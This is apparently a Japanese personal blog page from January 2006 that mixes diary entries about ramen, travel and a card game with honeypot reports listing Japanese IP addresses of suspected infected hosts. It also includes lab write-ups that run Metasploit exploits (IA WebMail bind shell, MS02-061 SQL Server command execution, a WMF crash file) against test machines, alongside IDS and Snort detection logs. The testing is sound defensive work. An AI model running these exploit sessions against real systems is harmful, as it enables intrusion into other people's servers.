つぶやき -27ページ目

【Exploit】WMFに2件の新たな脆弱性が？

■コメント

先日公開された。MS06-001で対応されていない、新たな脆弱性がWMFで2件あると、「cocoruder」と呼ばれる研究者がBugtraqメーリングリストに投稿しています。

■参考情報
http://isc.sans.org/diary.php?storyid=1031
http://www.itmedia.co.jp/enterprise/articles/0601/10/news025.html

http://blogs.technet.com/msrc/

■テスト環境

・攻撃元(受動的攻撃)

192.168.221.110　RedHat

・攻撃対象

10.4.6.106　WinXP(日本語)

・結果：IEが異常終了しました。この実証コードによるコマンドの実行などは確認されておりません。

■Provenita(IDS)
今回の実証コードがProventiaで検知可能か確認しました。

結果：検知は可能でした。
以下は、その時の検知時のログになります。

Event Number : 1
Date/Time : 2006-01-11 08:29:05 JST
Tag Name : Image_WMF_Generic_RecordSize_Overflow
Alert Name : Image_WMF_Generic_RecordSize_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.106
Target Object Name : 20861
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.110
SourcePort Name : 80
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :accessed
Attribute Value : yes
Attribute Name : :code
Attribute Value : 200
Attribute Name : :file-format
Attribute Value : wmf
Attribute Name : :function
Attribute Value : 0x4444
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.110
Attribute Name : :intruder-port
Attribute Value : 80
Attribute Name : :maxrecordsize
Attribute Value : 0x8708
Attribute Name : :protocol
Attribute Value : http
Attribute Name : :recordsize
Attribute Value : 0x88888888
Attribute Name : :server
Attribute Value : 192.168.221.110
Attribute Name : :URL
Attribute Value : /WMF-DoS1.wmf
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.106
Attribute Name : :victim-port
Attribute Value : 20861
Attribute Name : algorithm-id
Attribute Value : 2121043
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.110
Attribute Name : Packet DestinationPort
Attribute Value : 80
Attribute Name : Packet DestinationPortName
Attribute Value : http
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.106
Attribute Name : Packet SourcePort
Attribute Value : 20861

【サイバー犯罪事件簿】2006年01月10日

----------------------------
■あまてらす
----------------------------

今日も寒いけど頑張ろう！

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。

60.34.144.218 i60-34-144-218.s02.a015.ap.plala.or.jp
125.30.4.226 226.4.30.125.dy.iij4u.or.jp
202.223.123.208 pdf7bd0.tokynt01.ap.so-net.ne.jp
202.224.73.105 bf-west-105.enjoy.ne.jp
210.141.36.234 bf-west-1434.enjoy.ne.jp
210.237.2.97 bf-west-697.enjoy.ne.jp
210.237.15.157 ymgc-adsl-2257.enjoy.ne.jp
210.237.16.87 ymgc-adsl-2487.enjoy.ne.jp
218.223.122.83 ymgc-adsl-983.enjoy.ne.jp
219.32.4.61 softbank219032004061.bbtec.net
219.62.163.36 softbank219062163036.bbtec.net
219.66.35.150 KKRfa-03p4-150.ppp11.odn.ad.jp
219.66.110.151 NWTfa-05p1-151.ppp11.odn.ad.jp
219.66.121.187 AKAfa-03p2-187.ppp11.odn.ad.jp
219.66.125.72 AKAfa-03p6-72.ppp11.odn.ad.jp
219.66.168.192 GFNfb-01p2-192.ppp11.odn.ad.jp
219.67.4.6 NWTfb-08p2-6.ppp11.odn.ad.jp
219.98.155.170 p629baa.tkyoac00.ap.so-net.ne.jp
219.101.45.82 ns1.mecore.co.jp
219.103.109.209 CTS219103109209.cts.ne.jp
219.104.39.221 ohta128221.catv.ppp.infoweb.ne.jp
219.106.10.251 ntt6-ppp1267.east.sannet.ne.jp
219.107.198.166 FLA1Aav166.chb.mesh.ad.jp
219.108.67.249 y067249.ppp.dion.ne.jp
219.114.194.247 zaqdb72c2f7.zaq.ne.jp
219.114.230.125 zaqdb72e67d.zaq.ne.jp
219.114.253.234 zaqdb72fdea.zaq.ne.jp
219.114.254.99 zaqdb72fe63.zaq.ne.jp
219.115.230.43 zaqdb73e62b.zaq.ne.jp
219.116.107.33 ntfksm029033.fksm.nt.adsl.ppp.infoweb.ne.jp
219.118.132.44 CATV-219-118-132-044.medias.ne.jp
219.120.163.172 219x120x163x172.ap219.ftth.ucom.ne.jp
219.120.174.88 219x120x174x88.ap219.ftth.ucom.ne.jp
219.121.21.32 m021032.ppp.asahi-net.or.jp
219.121.22.15 m022015.ppp.asahi-net.or.jp
219.121.22.171 m022171.ppp.asahi-net.or.jp
219.121.23.7 m023007.ppp.asahi-net.or.jp
219.121.23.19 m023019.ppp.asahi-net.or.jp
219.121.23.146 m023146.ppp.asahi-net.or.jp
219.121.23.186 m023186.ppp.asahi-net.or.jp
219.121.29.8 m029008.ppp.asahi-net.or.jp
219.121.29.219 m029219.ppp.asahi-net.or.jp
219.121.44.13 m044013.ppp.asahi-net.or.jp
219.121.44.228 m044228.ppp.asahi-net.or.jp
219.121.46.74 m046074.ppp.asahi-net.or.jp
219.121.46.137 m046137.ppp.asahi-net.or.jp
219.121.47.186 m047186.ppp.asahi-net.or.jp
219.121.48.226 m048226.ppp.asahi-net.or.jp
219.121.50.45 m050045.ppp.asahi-net.or.jp
219.121.51.12 m051012.ppp.asahi-net.or.jp
219.121.52.86 m052086.ppp.asahi-net.or.jp
219.121.52.118 m052118.ppp.asahi-net.or.jp
219.121.57.63 m057063.ppp.asahi-net.or.jp
219.121.60.192 m060192.ppp.asahi-net.or.jp
219.121.62.146 m062146.ppp.asahi-net.or.jp
219.121.62.216 m062216.ppp.asahi-net.or.jp
219.121.63.97 m063097.ppp.asahi-net.or.jp
219.121.63.234 m063234.ppp.asahi-net.or.jp
219.121.64.177 z177.219-121-64.ppp.wakwak.ne.jp
219.121.65.228 z228.219-121-65.ppp.wakwak.ne.jp
219.121.66.177 z177.219-121-66.ppp.wakwak.ne.jp
219.121.67.85 z85.219-121-67.ppp.wakwak.ne.jp
219.121.67.221 z221.219-121-67.ppp.wakwak.ne.jp
219.121.69.85 z85.219-121-69.ppp.wakwak.ne.jp
219.121.69.138 z138.219-121-69.ppp.wakwak.ne.jp
219.121.72.249 z249.219-121-72.ppp.wakwak.ne.jp
219.121.74.157 z157.219-121-74.ppp.wakwak.ne.jp
219.121.75.187 z187.219-121-75.ppp.wakwak.ne.jp
219.121.76.136 z136.219-121-76.ppp.wakwak.ne.jp
219.121.76.174 z174.219-121-76.ppp.wakwak.ne.jp
219.121.81.169 z169.219-121-81.ppp.wakwak.ne.jp
219.121.96.149 usr017.bb004-01.udc.im.wakwak.ne.jp
219.121.96.150 usr018.bb004-01.udc.im.wakwak.ne.jp
219.121.96.161 usr029.bb004-01.udc.im.wakwak.ne.jp
219.121.99.12 usr008.bb003-01.udc.im.wakwak.ne.jp
219.121.99.126 usr028.bb139-01.udj.im.wakwak.ne.jp
219.121.99.156 usr024.bb006-01.udc.im.wakwak.ne.jp
219.121.99.228 usr034.pial024-01.wpb.im.wakwak.ne.jp
219.121.101.212 usr018.pial031-01.wpc.im.wakwak.ne.jp
219.121.102.88 usr022.bb238-02.udn.im.wakwak.ne.jp
219.121.102.245 usr019.bb010-04.udc.im.wakwak.ne.jp
219.121.103.74 usr008.bb012-02.udc.im.wakwak.ne.jp
219.121.103.96 usr030.bb012-02.udc.im.wakwak.ne.jp
219.121.103.101 usr035.bb012-02.udc.im.wakwak.ne.jp
219.121.103.109 usr043.bb012-02.udc.im.wakwak.ne.jp
219.121.104.104 usr102.pial026-01.wpb.im.wakwak.ne.jp
219.121.106.110 usr044.bb049-02.ude.im.wakwak.ne.jp
219.121.106.115 usr049.bb049-02.ude.im.wakwak.ne.jp
219.121.107.42 usr008.bb011-04.udc.im.wakwak.ne.jp
219.121.108.133 usr131.pial059-01.wpd.im.wakwak.ne.jp
219.121.111.225 usr031.bb051-02.udf.im.wakwak.ne.jp
219.121.113.218 usr024.bb044-06.udf.im.wakwak.ne.jp
219.121.114.114 usr016.bb045-01.ude.im.wakwak.ne.jp
219.121.114.138 usr008.bb047-01.ude.im.wakwak.ne.jp
219.121.117.121 usr021.bb011-03.udb.im.wakwak.ne.jp
219.121.118.174 usr044.bb054-01.udf.im.wakwak.ne.jp
219.121.120.74 usr006.pial013-02.wpb.im.wakwak.ne.jp
219.121.123.167 usr037.bb022-01.udd.im.wakwak.ne.jp
219.121.127.222 usr026.pial015-01.wpb.im.wakwak.ne.jp
219.121.192.69 ymgc-adsl-1269.enjoy.ne.jp
219.121.192.122 ymgc-adsl-1322.enjoy.ne.jp
219.121.192.202 ymgc-adsl-1402.enjoy.ne.jp
219.121.193.14 AirH-128K-614.enjoy.ne.jp
219.121.194.31 adsl-west-4831.enjoy.ne.jp
219.121.194.65 adsl-west-4865.enjoy.ne.jp
219.121.194.145 adsl-west-4945.enjoy.ne.jp
219.121.194.235 adsl-west-5035.enjoy.ne.jp
219.121.197.21 adsl-west-12321.enjoy.ne.jp
219.121.198.155 ymgc-adsl-1655.enjoy.ne.jp
219.121.198.184 ymgc-adsl-1684.enjoy.ne.jp
219.121.199.47 adsl-west-5447.enjoy.ne.jp
219.121.199.95 adsl-west-5495.enjoy.ne.jp
219.121.199.110 adsl-west-5510.enjoy.ne.jp
219.121.199.173 adsl-west-5573.enjoy.ne.jp
219.121.200.49 adsl-west-5749.enjoy.ne.jp
219.121.201.49 adsl-west-6049.enjoy.ne.jp
219.121.201.253 adsl-west-6253.enjoy.ne.jp
219.121.202.104 bf-west-404.enjoy.ne.jp
219.121.203.216 adsl-west-6516.enjoy.ne.jp
219.121.204.51 adsl-west-6651.enjoy.ne.jp
219.121.204.68 adsl-west-6668.enjoy.ne.jp
219.121.204.150 adsl-west-6750.enjoy.ne.jp
219.121.204.184 adsl-west-6784.enjoy.ne.jp
219.121.204.238 adsl-west-6838.enjoy.ne.jp
219.121.205.1 adsl-west-6901.enjoy.ne.jp
219.121.205.70 adsl-west-6970.enjoy.ne.jp
219.121.206.65 AirH-32K-2765.enjoy.ne.jp
219.121.206.194 AirH-32K-2894.enjoy.ne.jp
219.121.207.31 adsl-ngsk-031.fk.enjoy.ne.jp
219.121.207.125 adsl-ngsk-125.fk.enjoy.ne.jp
219.121.207.218 adsl-ngsk-218.fk.enjoy.ne.jp
219.121.232.169 isd232169.flets.incl.ne.jp
219.121.233.45 isd233045.flets.incl.ne.jp
219.121.233.116 isd233116.flets.incl.ne.jp
219.121.233.200 isd233200.flets.incl.ne.jp
219.121.234.21 isd234021.flets.incl.ne.jp
219.121.234.133 isd234133.flets.incl.ne.jp
219.121.235.59 isd235059.flets.incl.ne.jp
219.121.236.118 isd236118.flets.incl.ne.jp
219.121.236.119 isd236119.flets.incl.ne.jp
219.121.236.159 isd236159.flets.incl.ne.jp
219.121.238.14 isd238014.flets.incl.ne.jp
219.121.238.202 isd238202.flets.incl.ne.jp
219.121.239.17 isd239017.flets.incl.ne.jp
219.124.173.159 opt-219-124-173-159.client.pikara.ne.jp
219.160.122.204 p6204-ipad95marunouchi.tokyo.ocn.ne.jp
219.164.14.95 i219-164-14-95.s02.a001.ap.plala.or.jp
219.165.194.113 i219-165-194-113.s02.a010.ap.plala.or.jp
220.98.131.32 p4032-adsau12honb7-acca.tokyo.ocn.ne.jp

【日記】出張は大変（┰┰）

■コメント

三連休明けから出張でした（。・_・。）一日の仕事量は減りますが・・・

移動時間といつもより早く起きてるので疲れました（￣ー￣）。

しかし、一つ発見したことがありました。私の場合ですが、羽田へは電車よりバスを利用したほうが

早い事がわかりました。20分くらいはリムジンバスの方が早かったです。

■行き

・池袋　⇒(山の手)⇒浜松町⇒(モノレール)⇒羽田空港第１ビル　時間：60分

■帰り

・羽田空港第１ビル⇒(リムジンバス)⇒池袋　時間：40分

↓出張先の名物のお好み焼きをお昼食べました。

【Exploit】Exploit Module: ia_webmail

■概要
Name: IA WebMail 3.x Buffer Overflow
Version: 1.24
Targeting: win32, win2000 / x86
Privileges: No
Author: H D Moore <hdm [at] metasploit.com>
Disclosed: Nov 3 2003
Targets:
0 - IA WebMail 3.x

Options:
RHOST - The target address
RPORT - The target port

Payload Info:
Room for 1024 bytes of payload
Restricted bytes: 0x00 0x3a 0x26 0x3f 0x25 0x23 0x20 0x0a 0x0d 0x2f 0x2b 0x0b 0x5c

Description: This exploits a stack overflow in the IA WebMail server. This exploit has not been tested against a live system at this time.

■実証コード

msf ia_webmail > set RHOST 192.168.221.180
RHOST -> 192.168.221.180
msf ia_webmail >
set PAYLOAD win32_bind_stg msf ia_webmail >
PAYLOAD -> win32_bind_stg
msf ia_webmail(win32_bind_stg) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ --------------- ------------------
required RPORT 80 The target port
required RHOST 192.168.221.180 The target address

Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell

Target: IA WebMail 3.x

msf ia_webmail(win32_bind_stg) > exploit
[*] Starting Bind Handler.
[*] Attempting to exploit target IA WebMail 3.x
[*] Sending 2086 bytes to remote host.
[*] Waiting for a response...
[*] Exiting Bind Handle

■Proveinta

High	HTTP_IIS_Unicode_Wide_Encoding	2
Medium	HTTP_URL_Name_Very_Long	2
Medium	HTTP_IIS_UTF8_Evasion	2
Low	TCP_Probe_Other	16
Low	HTTP_Get	2
Low	HTTP_Server_ID	2

Event Number : 1
Date/Time : 2006-01-09 21:32:57 JST
Tag Name : HTTP_URL_Name_Very_Long
Alert Name : HTTP_URL_Name_Very_Long
Severity : Medium
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.37.180
Target Object Name : 80
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.110
SourcePort Name : 1037
Sensor DNS Name :
Sensor IP Address : 192.168.221.11
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :accessed
Attribute Value : no
Attribute Name : :code
Attribute Value : 414
Attribute Name : :evasions
Attribute Value : uses non-ASCII characters;
Attribute Name : :http-server
Attribute Value : Microsoft-IIS/5.0
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.110
Attribute Name : :intruder-port
Attribute Value : 1037
Attribute Name : :pam.http.maxname
Attribute Value : 1023
Attribute Name : :URL
Attribute Value : /oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Attribute Name : :URL-length
Attribute Value : 1920
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.37.180
Attribute Name : :victim-port
Attribute Value : 80
Attribute Name : algorithm-id
Attribute Value : 2000601
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.37.180
Attribute Name : Packet DestinationPort
Attribute Value : 80
Attribute Name : Packet DestinationPortName
Attribute Value : http
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.110
Attribute Name : Packet SourcePort
Attribute Value : 1037

■Snortの検知

01/09-21:30:43.407138 [**] [119:15:1] (http_inspect) OVERSIZE REQUEST-URI DIRECTORY [**] {TCP} 192.168.221.110:1037 -> 192.168.37.180:80
01/09-21:30:43.614135 [**] [119:4:1] (http_inspect) BARE BYTE UNICODE ENCODING [**] {TCP} 192.168.221.110:1037 -> 192.168.37.180:80
01/09-21:30:47.125963 [**] [122:1:0] (portscan) TCP Portscan [**] {PROTO255} 192.168.221.110 -> 192.168.37.180

【日記】光麺本店〓池袋東口２階席は？

今日は、池袋の光麺本店へ行ってきました。昨年改装して、２階ができたみたいです。
しかし
いつも一人で行っていて、いまだに２階へは、行ったことはありませんでした。
今日は妻と二人で、たまたま店員より２階席へ案内されました。そこには、
ラーメン屋とは思えないきれいな店内、席には、ディスプレイが設置されており、ラーメンが出来るまでの間
最新の音楽、映画などの情報を閲覧する事ができました。
２階席は落ち着いて食べることができるので仲間連れや、カップルにも最適です。
一度試してくださいね。

東京都豊島区南池袋1-18-22 1F
TEL：03-3971-3008
営業時間：朝11:00～翌朝5:00
座席：カウンター18席
駐車場：なし
交通アクセス： JR池袋駅東口から徒歩２分

URL:http://www.kohmen.org/index2.html

ラーメン激戦区！池袋！の「火付け役＝光麺」の本店。木の素材感を生かし、香港の路地裏の錆びれたお店の雰囲気をイメージ。清潔感のある店内は木のカウンターと天井から下がった裸電球がポップな感じで、女性客でも気軽に入れる。

〈熟成光麺（全部のせ）〉990円
トンコツスープを８から１２時間をかけて熟成し、コク、旨みをしっかり引き出しました。スープを一口飲んだあとの、香ばしい醤油の風味が香る、東京トンコツの逸品を是非お楽しみ下さい。

また女性に大好評の「世界最強杏仁豆腐」はとろ～り・つるっの食感は絶品！

【Exploit】MS02-061

■脆弱性の説明MSMS02-061

http://www.microsoft.com/japan/technet/security/Bulletin/MS02-061.mspx

■攻撃元

192.168.221.110　RedHat

■攻撃対象

192.168.221.180　Win2K+SP4+SQL

■実証コード

msf mssql2000_preauthentication(win32_exec) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
-------- ------ --------------- ------------------
required RPORT 1433 The target port
required RHOST 192.168.221.180 The target address

Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required CMD The command string to execute

Target: Microsoft SQL Server 2000 / MSDE 2000

msf mssql2000_preauthentication(win32_exec) > set CMD cmd.exe
CMD -> cmd.exe

msf mssql2000_preauthentication(win32_exec) > exploit
[*] Saying hello to Microsoft SQL Server 2000 / MSDE 2000 (0x42b68aba / 0x42d01e50)

■影響

確認未

■Proventia検知

Event Number : 1
Date/Time : 2006-01-09 13:06:29 JST
Tag Name : SQL_PreAuth_Overflow
Alert Name : SQL_PreAuth_Overflow
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.221.180
Target Object Name : 1433
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.110
SourcePort Name : 1025
Sensor DNS Name : iss-sp2
Sensor IP Address : 10.4.6.100
Sensor Name : network_sensor_1

Attribute Value Pairs for Event Number : 1
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.110
Attribute Name : :intruder-port
Attribute Value : 1025
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.221.180
Attribute Name : :victim-port
Attribute Value : 1433
Attribute Name : algorithm-id
Attribute Value : 2120002
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : LOGEVIDENCE
Attribute Value : Default
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.221.180
Attribute Name : Packet DestinationPort
Attribute Value : 1433
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.110
Attribute Name : Packet SourcePort
Attribute Value : 1025

■snort検知

N/A

【サイバー犯罪事件簿】2006年01月08日

----------------------------
■あまてらす
----------------------------

あまてらすです。本日は、3連休最終日ゆっくりのんびり仕事以外の事をして、リフレッシュしたいと思います。火曜日は、出張、金曜日も出張の予定～～～うぅ　年始からバタバタしてるな～～～あ。

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

220.98.192.76	p4076-ipbf07fukuhanazo.fukushima.ocn.ne.jp
221.113.205.34	p1034-freed01hon-sw1gw4.tokyo.ocn.ne.jp
221.113.233.178	p5178-ipad12gifu.gifu.ocn.ne.jp
221.113.236.168	p2168-ipad55osakakita.osaka.ocn.ne.jp
219.121.103.101	usr035.bb012-02.udc.im.wakwak.ne.jp
221.113.236.223	p2223-ipad55osakakita.osaka.ocn.ne.jp
219.121.102.88	usr022.bb238-02.udn.im.wakwak.ne.jp
210.141.36.234	bf-west-1434.enjoy.ne.jp
219.121.51.12	m051012.ppp.asahi-net.or.jp
221.113.247.96	p1096-ipbf04kamokounan.kagoshima.ocn.ne.jp
221.113.126.11	11.126.113.221.ap.yournet.ne.jp
221.113.239.100	p5100-ipad55osakakita.osaka.ocn.ne.jp
202.224.73.105	bf-west-105.enjoy.ne.jp
219.121.106.110	usr044.bb049-02.ude.im.wakwak.ne.jp
221.113.0.39	p000039.ppp.asahi-net.or.jp
221.113.41.82	p041082.ppp.asahi-net.or.jp
221.113.240.104	p6104-ipad55osakakita.osaka.ocn.ne.jp
221.171.237.133	eAc1Afs133.osk.mesh.ad.jp
219.121.114.138	usr008.bb047-01.ude.im.wakwak.ne.jp
219.121.106.115	usr049.bb049-02.ude.im.wakwak.ne.jp
219.121.48.226	m048226.ppp.asahi-net.or.jp
219.101.45.82	ns1.mecore.co.jp
219.121.203.216	adsl-west-6516.enjoy.ne.jp
219.121.96.150	usr018.bb004-01.udc.im.wakwak.ne.jp
219.114.230.125	zaqdb72e67d.zaq.ne.jp
219.121.120.74	usr006.pial013-02.wpb.im.wakwak.ne.jp
219.121.204.68	adsl-west-6668.enjoy.ne.jp
219.121.99.156	usr024.bb006-01.udc.im.wakwak.ne.jp
219.121.69.138	z138.219-121-69.ppp.wakwak.ne.jp
219.121.104.104	usr102.pial026-01.wpb.im.wakwak.ne.jp
219.121.202.104	bf-west-404.enjoy.ne.jp
221.113.16.35	p016035.ppp.asahi-net.or.jp
221.113.12.150	p012150.ppp.asahi-net.or.jp
221.113.25.28	p025028.ppp.asahi-net.or.jp
221.113.26.106	p026106.ppp.asahi-net.or.jp
221.113.3.27	p003027.ppp.asahi-net.or.jp
221.170.68.194	FLH1Aan194.sig.mesh.ad.jp
221.113.2.222	p002222.ppp.asahi-net.or.jp
221.113.127.38	38.127.113.221.ap.yournet.ne.jp
219.121.23.186	m023186.ppp.asahi-net.or.jp
219.121.235.59	isd235059.flets.incl.ne.jp
219.121.207.31	adsl-ngsk-031.fk.enjoy.ne.jp
219.106.10.251	ntt6-ppp1267.east.sannet.ne.jp
219.164.14.95	i219-164-14-95.s02.a001.ap.plala.or.jp
219.66.121.187	AKAfa-03p2-187.ppp11.odn.ad.jp
219.121.198.155	ymgc-adsl-1655.enjoy.ne.jp
219.121.201.253	adsl-west-6253.enjoy.ne.jp
219.66.110.151	NWTfa-05p1-151.ppp11.odn.ad.jp
202.223.123.208	pdf7bd0.tokynt01.ap.so-net.ne.jp
219.121.74.157	z157.219-121-74.ppp.wakwak.ne.jp
60.34.144.218	i60-34-144-218.s02.a015.ap.plala.or.jp
219.121.192.122	ymgc-adsl-1322.enjoy.ne.jp
219.120.174.88	219x120x174x88.ap219.ftth.ucom.ne.jp
221.113.109.158	158.109.113.221.ap.yournet.ne.jp
221.113.116.90	90.116.113.221.ap.yournet.ne.jp
221.247.237.253	221x247x237x253.ap221.ftth.ucom.ne.jp
221.190.9.126	p2126-ipbf06obiyama.kumamoto.ocn.ne.jp
221.184.82.108	p7108-ipad30funabasi.chiba.ocn.ne.jp
221.113.16.218	p016218.ppp.asahi-net.or.jp
221.113.164.23	p3023-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.172.10	p16010-adsau12honb8-acca.tokyo.ocn.ne.jp
221.113.164.159	p3159-ipbf14aobadori.miyagi.ocn.ne.jp
221.187.68.42	p3042-ipbf01hiraido.tochigi.ocn.ne.jp
221.113.19.5	p019005.ppp.asahi-net.or.jp
221.113.202.227	p2227-freed01hon-sw1gw2.tokyo.ocn.ne.jp
221.113.10.172	p010172.ppp.asahi-net.or.jp

【日記】白熱UNO大会の結果は？

今日は、友達の自宅で新年UNO大会でした。メンバーは、八人で夜19:00時から23:00まで戦いました。

結果私（。・_・。）は４位で、かなり平凡な結果（￣ー￣）でした。でも意外と楽しいだよね。UNO

O(≧∇≦)o面白かったです。！

【サイバー犯罪事件簿】2005年12月25日-2006年1月7日

----------------------------
■不正なアクセス(日本を送信元とした攻撃)
----------------------------

2005年12月26日 http://ameblo.jp/amaterasu/entry-10007447227.html

2005年12月27日 http://ameblo.jp/amaterasu/entry-10007481034.html
2005年12月28日 http://ameblo.jp/amaterasu/entry-10007520362.html
2006年01月03日 http://ameblo.jp/amaterasu/entry-10007683776.html

2005年01月04日 http://ameblo.jp/amaterasu/entry-10007704962.html

2005年01月05日 http://ameblo.jp/amaterasu/entry-10007736324.html
2005年01月06日 http://ameblo.jp/amaterasu/entry-10007804939.html

----------------------------
■MS05-051の脆弱性を利用した攻撃
----------------------------
・検知内容
この攻撃は、主に中国を送信元とした攻撃を確認しております。この攻撃のパケット内容から感染に必要なプログラムは確認されておりません。攻撃に対する影響として、サービスが停止する事を確認しております。また、今後この攻撃がBotワームに発展する可能性があるため、注意深く観察していく必要があります。現状この攻撃は沈静化しております。

・攻撃の詳細

http://ameblo.jp/amaterasu/entry-10006985800.html

・検知件数

優先度	シグネチャ名	送信元件数	攻撃件数
High	MSRPC_MSDTC_Message_BO	0	0

----------------------------
■PHPの脆弱性を利用したボットワームの検知状況
----------------------------
・検知内容
PHPの脆弱性を利用した攻撃です。UNIX系のシステムをターゲットとした、ワームまたはボットによる攻撃と考えられます。

・攻撃の詳細

http://ameblo.jp/amaterasu/entry-10007098582.html

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	HTTP_Spyki_PhpInclude_Worm	4	20

----------------------------
■PHPおよびAwstasts脆弱性に対する攻撃
----------------------------
PHPで利用される XML_RPCの脆弱性を利用した攻撃および、Awstasts(Webインターフェースを持つフリーのログ解析ツール)
に対する攻撃です。攻撃の内容を分析すると、Linux上で稼動しているApache PHPの組み合わせをターゲットにしたもので、
UNIX系のシステムをターゲットとした、ワームまたはボットによる攻撃で、感染が広がっている状況にあると考えられます。

・攻撃の詳細

http://ameblo.jp/amaterasu/entry-10006960722.html

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	HTTP_AWStats_ConfigDir_Exec	14	40
High	XML_RPC_PHP_CmdExec 7 58	14	132

----------------------------
■MS05-039脆弱性に対する攻撃
----------------------------
プラグアンドプレイサービスは、デバイスのインストール、設定、および新規デバイスの通知を担当する
Windows DCE-RPC サービスです。最近のバージョンの Windowsオペレーティングシステムでは、このサービス
が自動的に起動し、デフォルト設定で動作します。この脆弱性を利用したbotワームも確認されております。

・攻撃の詳細

http://ameblo.jp/amaterasu/entry-10007130733.html

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	PlugAndPlay_BO	59	130

----------------------------
■botワームの検知状況
----------------------------
・検知内容
このワームは、アクセス可能なネットワーク共有、またはセキュリティが不十分なネットワーク共有で繁殖します。MS04-007の弱性を悪用します。
亜種のいくつかは、リモートのIRCサーバに接続して、特定のIRCチャネルに参加しようとします。接続すると、ボットとして機能し、ハッカーからのリモートコマンドを待ちます。亜種によって機能はさまざまですが、
一般的には、他のリモートファイルをダウンロードして実行しようとします。

・攻撃の詳細

N/A

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	ASN1_Constr_BitStr_Heap_Corruption	222	445

-------------------------------------
■Blaster(bot)ワームの検知状況
-------------------------------------
・検知内容
Microsoft RPC サービスの脆弱点MS03-039に対する攻撃を検知しました。送信元IPアドレスは、恐らくこの脆弱性を利用して拡散するBlaster(bot)ワームに感染していると思

われます。

・攻撃の詳細

N/A

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	MSRPC_RemoteActivate_Bo	333	846

----------------------------
■Sasserワームの検知状況
----------------------------
・検知内容
Sasserワームによる攻撃の検知状況についてお知らせします。Sasser.Worm は、マイクロソフトセキュリティ情報 MS04-011 で解説されている脆弱性の悪用を試みるワームです。このワームは、ランダムに選択された IP アドレスを持つコンピュータをスキャンすることによって、上述の脆弱性に未対応のシステムを探し出して拡散します。

・攻撃の詳細

N/A

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	MSRPC_LSASS_Bo	16	29

-------------------------------------
■Slammerワームの検知状況
-------------------------------------
・検知内容
自宅のハニーポッドサーバに対して、SQL Server2000のMS02-039脆弱性を利用した、攻撃を検知しました。送信元IPアドレスは、この脆弱性を利用して拡散を行う、Slammerワームに感染していると思われます。

・脆弱性の詳細情報
http://www.microsoft.com/japan/technet/security/bulletin/MS02-039.mspx

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	SQL_SSRP_Slammer_Worm	63	108

----------------------------
■SQLサーバへの不正侵入の検知状況
----------------------------
・検知内容
SQLサーバの脆弱点MS02-056に対する攻撃を検知しました。この脆弱性を利用してSQLサーバへの不正侵入の試みを検知しています。

・攻撃の詳細

http://ameblo.jp/amaterasu/entry-10007276553.html

・検知件数

優先度	シグネチャ名	感染件数	攻撃件数
High	SQL_PreAuth_Overflow	14	21

----------------------------
■SMBへのパスワードクラッキングの検知状況
----------------------------
・検知内容
アカウントとしては、administratorおよびgestアカウントなどに対して、ランダムなIPアドレスからSMBのサービスが起動しているサーバを探し出し、パスワードクラッキングしてログインしようとする試みになります。一般的にユーザがよく使われるパスワードのリストを持っていて、そのパスワードで次々にログインを試みる。推測されやすいパスワードを設定している場合は、侵入を許してしまうことになる。

・攻撃の詳細

N/A

・検知件数

優先度	シグネチャ名	送信元件数	攻撃件数	コメント
High	SMB_Empty_Password_Failed	60	8743	ブランクパスワードによるアクセス
High	SMB_Guessable_Password	0	0	同一のパスワードとアカウントによるアクセス

----------------------------
■SQLサーバへの不正アクセスの検知状況
----------------------------
・検知内容
